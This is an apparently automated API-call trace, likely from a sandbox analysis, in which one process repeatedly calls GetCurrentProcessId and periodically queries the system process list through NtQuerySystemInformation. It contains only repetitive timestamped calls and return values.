GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.298] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.299] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.300] GetCurrentProcessId () returned 0xd70 [0124.301] GetCurrentProcessId () returned 0xd70 [0124.301] GetCurrentProcessId () returned 0xd70 [0124.301] GetCurrentProcessId () returned 0xd70 [0124.301] GetCurrentProcessId () returned 0xd70 [0124.301] GetCurrentProcessId () returned 0xd70 [0124.301] GetCurrentProcessId () returned 0xd70 [0124.301] GetCurrentProcessId () returned 0xd70 [0124.301] GetCurrentProcessId () returned 0xd70 [0124.301] GetCurrentProcessId () returned 0xd70 [0124.301] GetCurrentProcessId () returned 0xd70 [0124.301] GetCurrentProcessId () returned 0xd70 [0124.301] GetCurrentProcessId () returned 0xd70 [0124.907] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c260) returned 0x0 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.908] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.909] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.910] GetCurrentProcessId () returned 0xd70 [0124.911] GetCurrentProcessId () returned 0xd70 [0124.911] GetCurrentProcessId () returned 0xd70 [0124.911] GetCurrentProcessId () returned 0xd70 [0124.911] GetCurrentProcessId () returned 0xd70 [0124.911] GetCurrentProcessId () returned 0xd70 [0124.911] GetCurrentProcessId () returned 0xd70 [0124.911] GetCurrentProcessId () returned 0xd70 [0124.911] GetCurrentProcessId () returned 0xd70 [0124.911] GetCurrentProcessId () returned 0xd70 [0124.911] GetCurrentProcessId () returned 0xd70 [0124.911] GetCurrentProcessId () returned 0xd70 [0124.911] GetCurrentProcessId () returned 0xd70 [0124.911] GetCurrentProcessId () returned 0xd70 [0124.911] GetCurrentProcessId () returned 0xd70 [0124.911] GetCurrentProcessId () returned 0xd70 [0125.644] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c210) returned 0x0 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.645] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.646] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.647] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0125.648] GetCurrentProcessId () returned 0xd70 [0126.183] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c168) returned 0x0 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.185] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.186] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.187] GetCurrentProcessId () returned 0xd70 [0126.188] GetCurrentProcessId () returned 0xd70 [0126.188] GetCurrentProcessId () returned 0xd70 [0126.188] GetCurrentProcessId () returned 0xd70 [0126.188] GetCurrentProcessId () returned 0xd70 [0126.188] GetCurrentProcessId () returned 0xd70 [0126.188] GetCurrentProcessId () returned 0xd70 [0126.188] GetCurrentProcessId () returned 0xd70 [0126.188] GetCurrentProcessId () returned 0xd70 [0126.188] GetCurrentProcessId () returned 0xd70 [0126.188] GetCurrentProcessId () returned 0xd70 [0126.188] GetCurrentProcessId () returned 0xd70 [0126.188] GetCurrentProcessId () returned 0xd70 [0126.188] GetCurrentProcessId () returned 0xd70 [0126.188] GetCurrentProcessId () returned 0xd70 [0126.767] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c168) returned 0x0 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.773] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.774] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.775] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0126.776] GetCurrentProcessId () returned 0xd70 [0127.309] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1bec8) returned 0x0 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.315] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.316] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 